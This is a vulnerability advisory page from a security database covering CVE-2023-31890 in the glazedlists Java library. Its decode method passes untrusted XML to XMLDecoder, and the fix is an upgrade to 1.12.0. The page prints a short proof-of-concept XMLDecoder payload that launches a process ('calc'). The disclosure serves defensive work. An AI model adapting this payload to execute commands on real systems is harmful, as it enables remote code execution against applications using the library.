Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affecting com.glazedlists:glazedlists package, versions [1.11.0,1.12.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.01% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-COMGLAZEDLISTS-5538774
  • published17 May 2023
  • disclosed16 May 2023
  • credit2ha0yuk7on

Introduced: 16 May 2023

CVE-2023-31890  (opens in a new tab)
CWE-776  (opens in a new tab)

How to fix?

Upgrade com.glazedlists:glazedlists to version 1.12.0 or higher.

Overview

Affected versions of this package are vulnerable to Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') via the BeanXMLByteCoder.decode() parameter. When the decode() method is called, the program will call XMLDecoder.readObject() to parse the XML string without any validation.

PoC

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0"><string>calc</string></void>
        </array>
        <void method="start"></void>
    </object>
</java>

CVSS Base Scores

version 3.1